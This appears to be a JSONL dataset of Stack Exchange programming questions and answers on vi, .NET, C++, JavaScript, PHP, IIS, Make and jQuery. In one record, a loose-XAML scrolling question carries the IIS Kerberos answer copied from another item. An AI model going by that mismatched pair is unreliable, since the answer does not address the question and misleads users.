{"id": "hf_ae61c47a4da8", "question": "<p>vi treats dash <code>-</code> and space <code>&nbsp;</code> as word separators for commands such as <code>dw</code> and <code>cw</code>.</p>\n\n<p>Is there a way to add underscore <code>_</code> as well?</p>\n\n<p>I quite often want to change part of a variable name containing underscores, such as changing <code>src_branch</code> to <code>dest_branch</code>. I end up counting characters and using <code>s</code> (like <code>3sdest</code>), but it would be much easier to use <code>cw</code> (like <code>cwdest</code>).</p>\n", "question_body": "", "answer": "You could type\n```\ncf_dest_\n```\nand save the counting part.\nEdit:\nor as suggested:\n```\nct_\n```\nchanges text until right before the underline character. (I'm using the\n```\nf\n```\nmotion more, so it came more naturally to me)\nOr you could redefine\n```\n'iskeyword'\n```\n(\n```\n:help iskeyword\n```\nfor details).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.138807"}
{"id": "hf_3d4555c81b2a", "question": "<p>Currently I am working with a <strong>custom</strong> regular expression validator <em>(unfortunately)</em>.</p>\n\n<p>I am trying to set the Regex pattern using a server side inline script like this:</p>\n\n<pre><code>ValidationExpression=\"&lt;%= RegExStrings.SomePattern %&gt;\"\n</code></pre>\n\n<p>However, the script is not resolving to server side code. Instead it is being interpreted literally and I end up with something like this in the rendered markup:</p>\n\n<pre><code>ctl00_DefaultContent_regexValidatorInvitation.validationexpression = \"&lt;%= RegExStrings.SomePattern %&gt;\";\n</code></pre>\n\n<p>Any clues as to why this is not resolving properly?</p>\n", "question_body": "", "answer": "Values in a web control do not render server side code.\nRather set that from the Code Behind\n```\n```\nRegExValidator1.ValidationExpression = RegExStrings.SomePattern;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.232712"}
{"id": "hf_2e861a3b336b", "question": "<p>I'm writing a tool to report information about .NET applications deployed across environments and regions within my client's systems.</p>\n\n<p>I'd like to read the values of assembly attributes in these assemblies.</p>\n\n<p>This can be achieved using <code>Assembly.ReflectionOnlyLoad</code>, however even this approach keeps the assembly loaded.  The issue here is that I cannot load two assemblies that have the same name from different paths, so naturally I can't compare the same application deployed in different systems.</p>\n\n<p>At this point I'm assuming the solution will involve using temporary <code>AppDomain</code>s.</p>\n\n<p>Can someone detail how to load an assembly into another <code>AppDomain</code>, read the attributes from it and then unload the <code>AppDomain</code>?</p>\n\n<p>This needs to work for assemblies on the file system as well as those at URL addresses.</p>\n", "question_body": "", "answer": "From the\nMSDN documentation of System.Reflection.Assembly.ReflectionOnlyLoad (String)\n:\nThe reflection-only context is no\n  different from other contexts.\n  Assemblies that are loaded into the\n  context can be unloaded only by\n  unloading the application domain.\nSo, I am afraid the only way to unload an assembly is unloading the application domain.\nTo create a new AppDomain and load assemblies into it:\n```\n```\npublic void TempLoadAssembly()\n{\n    AppDomain tempDomain = AppDomain.CreateDomain(\"TemporaryAppDomain\");\n    tempDomain.DoCallBack(LoaderCallback);\n    AppDomain.Unload(tempDomain);\n}\n\nprivate void LoaderCallback()\n{\n    Assembly.ReflectionOnlyLoad(\"YourAssembly\");\n    // Do your stuff here\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.256004"}
{"id": "hf_27e6fd3dbb11", "question": "<p>I have some numbers of different length (like 1, 999, 76492, so on) and I want to convert them all to strings with a common length (for example, if the length is 6, then those strings will be: '000001', '000999', '076492'). </p>\n\n<p>In other words, I need to add correct amount of leading zeros to the number.</p>\n\n<pre><code>int n = 999;\nstring str = some_function(n,6);\n//str = '000999'\n</code></pre>\n\n<p>Is there a function like this in C++?</p>\n", "question_body": "", "answer": "There are many ways of doing this. The simplest would be:\n```\n```\nint n = 999;\nchar buffer[256]; sprintf(buffer, \"%06d\", n);\nstring str(buffer);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.302819"}
{"id": "hf_fbf58851b874", "question": "<p>Yes, I know you could use regular objects as associative arrays in JavaScript, but I'd like to use something closer to java's Map's implementation (HashMap, LinkedHashMap etc). Something that could have any kind of data used as key. Are there any good hash(code/table) in JavaScript implementation out there?</p>\n", "question_body": "", "answer": "In javascript,\nobjects are literally a hash implementation\n.  A Java HashMap will be a little bit of a fake-out, so I'd\nchallenge you\nto re-think your needs.\nThe\nstraight answer is no\n, I don't believe that there is a great implementation of Java's HashMap in javascript.  If there is, it's bound to be part of a library that you may or may not want to use, and you certainly\ndon't need to include a library\njust to have a little hash table.\nSo let's go ahead and write one, just to\nexamine the problem\n. You can use it if you like.  We'll just start by writing a constructor, and we'll piggyback off of Array, which is Object, but has some useful methods that will keep this example from getting too tedious:\n```\n```\nfunction HashMap () {\n    var obj = [];\n    return obj;\n}\n\nvar myHashMap = HashMap();\n```\n```\nWe'll add some methods straight from the world of Java, but translate into javascript as we go...\n```\n```\nfunction HashMap() {\n    var obj = [];\n    obj.size = function () {\n        return this.length;\n    };\n    obj.isEmpty = function () {\n        return this.length === 0;\n    };\n    obj.containsKey = function (key) {\n        for (var i = 0; i < this.length; i++) {\n            if (this[i].key === key) {\n                return i;\n            }\n        }\n        return -1;\n    };\n    obj.get = function (key) {\n        var index = this.containsKey(key);\n        if (index > -1) {\n            return this[index].value;\n        }\n    };\n    obj.put = function (key, value) {\n        if (this.containsKey(key) !== -1) {\n            return this.get(key);\n        }\n        this.push({'key': key, 'value': value});\n    };\n    obj.clear = function () {\n        this = null;  // Just kidding...\n    };\n    return obj;\n}\n```\n```\nWe could continue to build it out, but I think it's the wrong approach.  At the end of the day, we end up using what javascript provides behind the scenes, because we just simply don't have the HashMap type.  In the process of\npretending\n, it lends itself to all kinds of\nextra work\n.\nIt's a bit ironic that one of the things that makes javascript such an interesting and diverse language is the ease with which it handles this kind of\nwrestling\n.  We can literally do anything we'd like, and the quick example here does nothing if it doesn't illustrate the deceptive power of the language.  Yet given that power, it seems\nbest not to use it\n.\nI just think javascript wants to be lighter.  My personal recommendation is that you re-examine the problem before you try implement a proper Java HashMap.\nJavascript neither wants nor affords for one\n.\nRemember the native alternative\n:\n```\n```\nvar map = [{}, 'string', 4, {}];\n```\n```\n..so fast and easy by comparison.\nOn the other hand, I don't believe that there are any hard-and-fast answers here.  This implementation really\nmay be a perfectly acceptable solution\n.  If you feel you can use it, I'd say\ngive it a whirl\n.  But I'd never use it if I felt that we have\nreasonably simpler and more natural means\nat our disposal.. which I'm almost certain that we do.\nSidenote:\nIs efficiency related to style? Notice the\nperformance hit\n.. there's a big O staring us in the face at HashMap.put()... The less-than-optimal performance probably isn't a show-stopper here, and you'd probably need to be doing something very ambitious or have a large set of data before you'd even notice a performance hickup a modern browser.  It's just interesting to note that operations tend to become less efficient when you're working against the grain, almost as if there is a natural entropy at work.  Javascript is a high level language, and should offer efficient solutions when we keep in line with its conventions, just as a HashMap in Java will be a much more natural and high performing choice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.325930"}
{"id": "hf_208c91e2c589", "question": "<p>How else might you compare two arrays ($A and $B )and reduce matching elements out of the first to prep for the next loop over the array $A?</p>\n\n<pre><code>$A = array(1,2,3,4,5,6,7,8);\n$B = array(1,2,3,4);\n\n$C = array_intersect($A,$B);  //equals (1,2,3,4)\n$A = array_diff($A,$B);       //equals (5,6,7,8)\n</code></pre>\n\n<p>Is this the simplest way or is there a way to use another function that I haven't thought of?  My goal is to have an array that I can loop over, pulling out groups of related content (I have defined those relationships elsewhere) until the array returns false.</p>\n", "question_body": "", "answer": "You've got it. Just use\n```\narray_diff\n```\nor\n```\narray_intersect\n```\n. Doesn't get much easier than that.\nEdit:\nFor example:\n```\n```\n$arr_1 = array_diff($arr_1, $arr_2);\n$arr_2 = array_diff($arr_2, $arr_1);\n```\n```\nSource", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.350674"}
{"id": "hf_c2c4edd719dc", "question": "<p>I have a List of strings that is regenerated every 5 seconds. I want to create a Context Menu and set its items dynamically using this list.\nThe problem is that I don't have even a clue how to do that and manage the Click action for every item generated (which should use the same method with different parameter DoSomething(\"item_name\")).</p>\n\n<p>How should I do this?</p>\n\n<p>Thanks for your time.\nBest regards.</p>\n", "question_body": "", "answer": "So, you can clear the items from the context menu with:\n```\n```\nmyContextMenuStrip.Items.Clear();\n```\n```\nYou can add an item by calling:\n```\n```\nmyContextMenuStrip.Items.Add(myString);\n```\n```\nThe context menu has an ItemClicked event.  Your handler could look like so:\n```\n```\nprivate void myContextMenuStrip_ItemClicked(object sender, ToolStripItemClickedEventArgs e)\n{\n    DoSomething(e.ClickedItem.Text);\n}\n```\n```\nSeems to work OK for me.  Let me know if I misunderstood your question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.385952"}
{"id": "hf_cdf8aa654f00", "question": "<p>With VS2005, I want to create a DLL and automatically export all symbols without adding <code>__declspec(dllexport)</code> everywhere, and without hand-creating <code>.def</code> files. Is there a way to do this?</p>\n", "question_body": "", "answer": "No, you will need a macro that resolves to\n```\n__declspec(dllexport)\n```\nwhen it's included by the .cpp file that implements the exported functions, and resolves to\n```\n__declspec(dllimport)\n```\notherwise.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.444655"}
{"id": "hf_0087330d9890", "question": "<p>I just realized from an article in CACM that Doxygen works with Java (and several other languages) too. But Java has already the Javadoc tool. Can someone explain what are the pros and cons of either approach? Are they mutually exclusive? Is there a Maven plugin for Doxygen?</p>\n", "question_body": "", "answer": "I'd only use Doxygen with Java if you're new to Java and you've used Doxygen before, reducing the learning curve you'd experience with javadoc.  If you haven't used Doxygen before, I'd stick with javadoc, since it was specifically designed with Java in mind.  If you don't know either one, and you work in C++ (or other supported languages) as much as you do Java, Doxygen is a good choice, as you'll be able to use it for both languages.\nBoth tools are easy to use, with a similar feature set.  Both have plugins (or are pre-built in) for NetBeans and Eclipse making it even faster to generate doc.  There is a lot of overlap in the comment style used by each, but they're not\nexactly\nthe same, so it would be difficult to mix them together (you'd have to know the details of\nboth\n, leaving out any features that are specific to one or the other).  I've never used it, but there does seem to be a\nMaven plugin for Doxygen\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.479090"}
{"id": "hf_9784b5aead2f", "question": "<p>I'm looking for a way to embed an image in a library (Windows-only). I don't want to go the 'traditional' way of putting it in the resources (because of special circumstances that make it not so convenient to mess around with the resource handle.</p>\n\n<p>Ideally, there would be something like xpm files: a 'text' representation of an image that is put in a c array and that some code converts into a bitmap in memory, which can then somehow be loaded into an HIMAGE or an HICON. The images I want to embed are 32-bit bitmaps (bmp). Any ideas? I'm using MFC so an MFC library would be fine, but of course I can use a library that doesn't use MFC too. Thanks.</p>\n", "question_body": "", "answer": "Google for a bin2c utility (something like\nhttp://stud3.tuwien.ac.at/~e0025274/bin2c/bin2c.c\n).  It takes a file's binary representation and spits out a C source file that includes an array of bytes initialized to that data.\nJust link the file in and you have your image sitting in a chunk of memory.\nUsing this kind of tool is really common on embedded systems where such things as 'resources' and even files might not exist.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.563014"}
{"id": "hf_1594a55fc451", "question": "<p>In regular Java, you can get the text of a stack trace by passing a PrintWriter to printStackTrace. I have a feeling I know the answer to this (i.e. \"No\") but,</p>\n\n<p>Is there any way to obtain the text of a stack trace in JavaME as a String?</p>\n\n<p><strong>Update:</strong></p>\n\n<p>I should mention that I'm restricted to CLDC 1.0</p>\n", "question_body": "", "answer": "You can have the PrintWriter write to a ByteArrayOutputStream and reconstruct the String from the bytes.\n```\n```\ntry{\n    throw new Exception(\"Message\");     \n} catch (Exception ex){\n    ByteArrayOutputStream out = new ByteArrayOutputStream();\n    ex.printStackTrace(new PrintStream(out));\n    System.out.println(new String(out.toByteArray()));\n}\n```\n```\nIt's not pretty, but it should work pretty much everywhere. Before you try the above, make sure you don't have access to [Throwable#getStackTrace](\nhttp://java.sun.com/j2se/1.4.2/docs/api/java/lang/Throwable.html#getStackTrace())\n, Eclipse claims it's available in CDC/Foundation 1.1, but that doesn't say anything about other profiles.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.608399"}
{"id": "hf_5e18c00f0c38", "question": "<p>Today I changed the application pool identity of our ASP.NET application from \"Network Service\" to a domain user.</p>\n\n<p>I added the user to the local group \"IIS_WPG\", done a iisreset just in case, and \neverything works fine with IE6 and Firefox 3.0</p>\n\n<p>But when I go to the website with IE7, an authentication popup appears, I type my credentials, and then :</p>\n\n<pre><code>HTTP Error 401.1 - Unauthorized: Access is denied due to invalid credentials. Internet Information Services (IIS)\n</code></pre>\n\n<p>Any ideas ?</p>\n", "question_body": "", "answer": "Typically, if you see an issue with authentication where it works in IE 6 but not IE 7, I'd check to make sure Kerberos is configured correctly.\nRunning as Network Service, your Kerberos SPNs should attached to the machine account.  As a domain account, the SPN's need to be on that account.\nAs to why IE 6 is different than IE 7, its most likely due to some of the Kerberos HotFixes that apply to CNames and ticket time outs. Search MS Support for \"kerberos HotFix\"\nTo turn off Kerberos for the site:\ncscript adsutil.vbs set w3svc/###/NTAuthenticationProviders \"NTLM\"\nWhere ### is the SiteID from the MetaBase.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.632206"}
{"id": "hf_7190e16d16f2", "question": "<p>Is there any way to display scrollabletext in loose xaml?  The equivalent in HTML would be </p>\n\n<pre><code>&lt;div style=\"overflow:scroll\"&gt;some long bit of text here&lt;/div&gt;\n</code></pre>\n\n<p>Can you do this in loose xaml?  </p>\n\n<p>From my experiments so far it seems that in loose xaml:</p>\n\n<ol>\n<li>You cannot use TextBox -- it must be TextBlock. </li>\n<li>TextBlock doesn't seem to have any styling settings which would make it scrollable.</li>\n<li>ScrollViewer doesn't seem to be allowed in loose xaml.</li>\n</ol>\n\n<p>Any help gratefully appreciated.</p>\n", "question_body": "", "answer": "Typically, if you see an issue with authentication where it works in IE 6 but not IE 7, I'd check to make sure Kerberos is configured correctly.\nRunning as Network Service, your Kerberos SPNs should attached to the machine account.  As a domain account, the SPN's need to be on that account.\nAs to why IE 6 is different than IE 7, its most likely due to some of the Kerberos HotFixes that apply to CNames and ticket time outs. Search MS Support for \"kerberos HotFix\"\nTo turn off Kerberos for the site:\ncscript adsutil.vbs set w3svc/###/NTAuthenticationProviders \"NTLM\"\nWhere ### is the SiteID from the MetaBase.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.662391"}
{"id": "hf_dae098d24979", "question": "<p>I have a Makefile that starts by running a tool before applying the build rules (which this tool writes for me). If this tool, which is a python script, exits with a non-null status code, I want GNU Make to stop right there and not go on with building the program.</p>\n\n<p>Currently, I do something like this (top level, i.e. column 1):</p>\n\n<pre><code>$(info Generating build rules...)\n$(shell python collect_sources.py)\ninclude BuildRules.mk\n</code></pre>\n\n<p>But this does not stop make if <code>collect_sources.py</code> exits with a status code of 1. This also captures the standard output of <code>collect_sources.py</code> but does not print it out, so I have the feeling I'm looking in the wrong direction.</p>\n\n<p>If at all possible, the solution should even work when a simple MS-DOS shell is the standard system shell.</p>\n\n<p>Any suggestion?</p>\n", "question_body": "", "answer": "There might be a better way, but I tried the following and it works:\n```\n```\n$(if $(shell if your_command; then echo ok; fi), , $(error your_command failed))\n```\n```\nHere I did assume that\n```\nyour_command\n```\ndoes not give any output, but it shouldn't be hard to work around such a situation.\nEdit: To make it work with the default Windows shell (and probably any decent shell) you could write\n```\nyour_command && echo ok\n```\ninstead of the\n```\nif\n```\nwithin the\n```\nshell\n```\nfunction. I do not think this is possible for (older) DOS shells. For these you probably want to adapt\n```\nyour_command\n```\nor write a wrapper script to print something on error (or success).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.698606"}
{"id": "hf_b1a8f9067a2a", "question": "<p>I'm creating a C# dll, which is going to be used by others developers in WinForms. For some reasons, I want to detect, if methods from this library, are called from Main (GUI) Thread and warn developer he has done such a thing (ie. in log file). Is there any reasonable way to detect calling method from main thread?\nRemember I have no access to WinForm application.</p>\n", "question_body": "", "answer": "An easy solution in this case is to declare a static control in the library assembly that is created on the Main UI thread. If you want to detect if the library is called from the main thread, then use the following\n```\n```\nif (MyLibraryControl.InvokeRequired)\n  //do your thing here\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.731960"}
{"id": "hf_ccee5262b4fb", "question": "<p>Where can I find algorithms for image distortions? There are so much info of Blur and other classic algorithms but so little of more complex ones. In particular, I am interested in swirl effect image distortion algorithm.</p>\n", "question_body": "", "answer": "I can't find any references, but I can give a basic idea of how distortion effects work.\nThe key to the distortion is a function which takes two coordinates (x,y) in the distorted image, and transforms them to coordinates (u,v) in the original image. This specifies the inverse function of the distortion, since it takes the distorted image back to the original image\nTo generate the distorted image, one loops over x and y, calculates the point (u,v) from (x,y) using the inverse distortion function, and sets the colour components at (x,y) to be the same as those at (u,v) in the original image. One ususally uses interpolation (e.g.\nhttp://en.wikipedia.org/wiki/Bilinear_interpolation\n) to determine the colour at (u,v), since (u,v) usually does not lie exactly on the centre of a pixel, but rather at some fractional point between pixels.\nA swirl is essentially a rotation, where the angle of rotation is dependent on the distance from the centre of the image. An example would be:\n```\n```\na = amount of rotation\nb = size of effect\n\nangle = a*exp(-(x*x+y*y)/(b*b))\nu = cos(angle)*x + sin(angle)*y\nv = -sin(angle)*x + cos(angle)*y\n```\n```\nHere, I assume for simplicity that the centre of the swirl is at (0,0). The swirl can be put anywhere by subtracting the swirl position coordinates from x and y before the distortion function, and adding them to u and v after it.\nThere are various swirl effects around: some (like the above) swirl only a localised area, and have the amount of swirl decreasing towards the edge of the image. Others increase the swirling towards the edge of the image. This sort of thing can be done by playing about with the angle= line, e.g.\n```\n```\nangle = a*(x*x+y*y)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.759849"}
{"id": "hf_2790580f595b", "question": "<p>I think questions like this are the reason why I don't like working with PHP. The manual is good, if you can find what you are looking for. After reading through the <a href=\"http://us3.php.net/array\" rel=\"nofollow noreferrer\">Array Functions</a>, I didn't see one that provides the functionality I need.</p>\n\n<p>I have an array (in my case, numerically indexed) that I want to scan for a particular value and, if it's there, remove it. And then, when all instances of that value have been removed, I want to rearrange the array using <a href=\"http://us3.php.net/manual/en/function.array-values.php\" rel=\"nofollow noreferrer\">array_values</a>.</p>\n", "question_body": "", "answer": "```\narray_diff\n```\nis what you want.\n```\n```\n$array1 = array(\"a\" => \"green\", \"red\", \"blue\", \"red\");\n$array2 = array(\"b\" => \"green\", \"yellow\", \"red\");\n$result = array_diff($array1, $array2);\n```\n```\nResult:\n```\n\"blue\"\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.798893"}
{"id": "hf_d81bdb0c6dab", "question": "<p>I've implemented a set of draggable elements that can be dropped into some containers using jQuery. What I need is an animation that moves an element to a specific container without user interaction. The problem is that the elements and the drop containers are in completely <strong>different parts of the DOM</strong> and mostly positioned using float.</p>\n\n<p>All I need is some code to get the absolute position difference between 2 floating DOM elements, preferrably using jQuery. The only thing I found were some hacks parsing upwards the DOM but always very browser-specific (e.g. \"this does not work well with Firefox or IE or whatever\").</p>\n\n<p>Best would be something like this:</p>\n\n<pre><code>var distance = getDistance(element1, element2);\n</code></pre>\n\n<p>or in jQuery notation:</p>\n\n<pre><code>var distance = $(element1).distanceTo($(element2));\n</code></pre>\n", "question_body": "", "answer": "I never used jQuery, just looked up API, so I can assume you can do the following:\n```\nvar o1 = $(element1).offset();\nvar o2 = $(element2).offset();\nvar dx = o1.left - o2.left;\nvar dy = o1.top - o2.top;\nvar distance = Math.sqrt(dx * dx + dy * dy);\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.825686"}
{"id": "hf_acee5cf5afa6", "question": "<p>When printing RFC documents on my A4 format printer I noticed that I print more than it is considered to be one page in RFC document. I figure this is because probably RFC is written in North American paper letter format (216 × 279 mm) and I want to use ISO A4 format (210 × 297 mm). Info on <a href=\"http://en.wikipedia.org/wiki/Paper_size\" rel=\"noreferrer\">Paper size</a>. So my question is if there is some way or program with which I would at least be able to print every letter format page on to the separate A4 format page. I know there will be some unused space at the bottom but at least there will just be one text page per A4 paper page. I tried changing paper size on printer from A4 to letter, but it didn't help.</p>\n", "question_body": "", "answer": "The RFC documents contain page breaks and such in the form of line printer control codes. Just printing a plain text rfc out of vi / notepad / word / whatever will\nprobably\nnot work as expected. Try searching for the rfc in PDF form, they'll be easier to print and the page numbering should be correct. You may be able to find pdfs in A4, else the printer dialogues \"shrink to fit\" feature should handle it.\nOh and shop around, some PDFs are much nicer than others...\nYou could find PDF format here\nhttp://tools.ietf.org/pdf/\n, for RFC 1928, it's\nhttp://tools.ietf.org/pdf/rfc1928.pdf\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.873918"}
{"id": "hf_64e88e2a7687", "question": "<p>Can <code>Thread.getContextClassLoader()</code> be null ? The javadoc is not really clear.<br>\nShould a library take this case into account ?</p>\n\n<p>Update: the reason I asked is that <code>beansbinding.dev.java.net</code> does <em>not</em> work in this case (and my code does <code>setContextClassLoader(null)</code></p>\n", "question_body": "", "answer": "Yes you should, someone could have called\n```\nThread.setContextClassLoader(null)\n```\nand your library IMO should be able to deal with that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.897085"}
{"id": "hf_763cb703deda", "question": "<p>Is there any plans for Microsoft to support LINQ to SQL beyond MS SQL server?</p>\n", "question_body": "", "answer": "I do not know whether Microsoft plans to do so, but it is probably unlikely. However, if you want to use something similar, you could probably use\nDbLinq\nmeanwhile.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:45.920572"}
{"id": "hf_5368cf70159e", "question": "<p>I have a site, and it will be sold to different clients but for maintenance reasons, we will be keeping one codebase. So this means that this one codebase will have to be dynamic enough to have different styles and so forth, depending on the client.</p>\n\n<p>The domain would be a subdomain-type system, so: projectname.clientname.com , projectname.clientname.com, and so forth, where client name is the company who we have sold the system to.</p>\n\n<p>What I'm trying to do is to have a different theme load up depending on the domain. So I may have ecards.savills.com, and for that, I have a folder in Themes called Savills, and inside that folder called Savills, a .CSS file and I want to load that. I've been playing with the request object, but no luck.</p>\n\n<p>I've tried several methods to achieve this, using stylesheettheme (don't need to skin buttons btw), but I keep getting stack overflows in a system dll for .NET.</p>\n\n<p>What is a robust way to achieve this?</p>\n", "question_body": "", "answer": "```\n```\n/* Do you have a folder in \"Themes\" or \"APP_Themes\" called Savillis? */\n```\n```\nWhen you designate a Theme for a page, all stylesheets in that theme folder will be loaded. They will be loaded alphabetically, so watch the order.\nOn a page level, you can set the theme in the Page directive (aspx) or the PreInit (codebehind), or you can set a default theme in the web.config. (You can also set a global theme, but thats not usually used.\n```\n```\n/* Are you doing that? */\n```\n```\nAre there separate web site instances?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.002978"}
{"id": "hf_afbe6eab9b50", "question": "<p>In order to handle concurrency issue, is locking-- any form of locking, whether it's row, table or database locking a good solution?</p>\n\n<p><strong>If not, how to handle concurrency issue?</strong></p>\n", "question_body": "", "answer": "I think not, because it is all the way \"down\" and makes your application more complex. Most languages have excelent concurrency handling techniques, and even then the best way is to write code which can handle concurrency \"natively\".\nFor more info on concurrency in Java:\nhttp://java.sun.com/docs/books/tutorial/essential/concurrency/index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.027065"}
{"id": "hf_0aaaf9366fd0", "question": "<p>Using the client-side ASP.NET AJAX library, I have created an instance of a client component with the $create shortcut-method (<a href=\"http://msdn.microsoft.com/da-dk/library/bb397487(en-us).aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/da-dk/library/bb397487(en-us).aspx</a>). The object is attached to a DOM element. Now I need to get a reference to the instance, but it is neither registered on window or on the DOM element, and I cannot find it anywhere.</p>\n\n<p>Does someone know how you can obtain a reference to the instance?</p>\n\n<p>Best regards,</p>\n\n<p>JacobE</p>\n", "question_body": "", "answer": "According to MSDN, Sys.Component.Create should return the object that it just created. And, $create is just a shortcut for Sys.Component.create.\n```\n```\nReturns: A new instance of a component that uses the specified parameters.\n```\n```\nSo, try:\n```\n```\nvar instance = $create(someType);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.062829"}
{"id": "hf_3b8cee3514c6", "question": "<p>I recently installed RailRoad gem to generate an .svg diagram of my app's models and controllers.</p>\n\n<p>The rake task keeps breaking with a similar error:</p>\n\n<pre><code>1.8/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:263:in `load_missing_constant': uninitialized constant\n</code></pre>\n\n<p>I tried the rake task on 2 seperate apps and the error keeps appearing with a different \"constant\" name.</p>\n\n<p>Anyone using it with similar problems?</p>\n", "question_body": "", "answer": "I'm running it without any problems (though I did have to make a quick edit as it was representing the crows feet the wrong way).\nThis problem\nalso appears to be in their tracker\n.  I would go ahead and add your stack trace to that ticket as well.  I'm curious if it's your version of ActiveSupport?  Bur your version and the version in use are both displaying the same problem so there's got to be a similarity somewhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:46.090363"}
